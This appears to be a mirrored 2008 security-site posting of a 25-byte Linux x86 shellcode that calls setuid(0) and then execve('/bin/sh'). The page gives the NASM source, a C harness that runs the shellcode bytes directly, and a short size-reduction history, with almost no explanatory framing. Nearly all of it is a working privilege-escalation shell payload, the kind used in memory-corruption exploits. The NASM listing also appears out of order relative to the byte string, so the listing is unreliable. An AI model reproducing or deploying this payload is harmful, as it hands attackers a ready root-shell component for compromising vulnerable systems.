linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 25 bytes
|
来源:http://opensec.es 作者:Garcia 发布时间:2008-11-24
|
|
SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL
History: + v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/ + v2.0 (26 bytes) => (http://vlan7.blogspot.com/) http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html
v3.0 (25 bytes) ################
[NASM_SOURCE_CODE] global _start section .text _start: ;setuid xor ecx,ecx lea eax,[ecx+17h];setuid syscall int 80h ;execve push ecx;ecx = 0 push 0x68732f6e ;sh/ push 0x69622f2f ;nib// mov ebx,esp;pointer to "struct pt_regs" lea eax,[ecx+0Bh];execve syscall int 80h [/NASM_SOURCE_CODE]
[C_SOURCE_CODE] #include <stdio.h>
const char shellcode[]= "\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73" "\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";
int main() { printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL" "\n\nCoded by Chema Garcia (aka sch3m4)" "\n\t + sch3m4@opensec.es" "\n\t + http://opensec.es" "\n\n[+] Date: 22/11/2008" "\n\n[+] Thanks to: vlan7" "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1); (*(void (*)()) shellcode)();
return 0; } [/C_SOURCE_CODE]
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|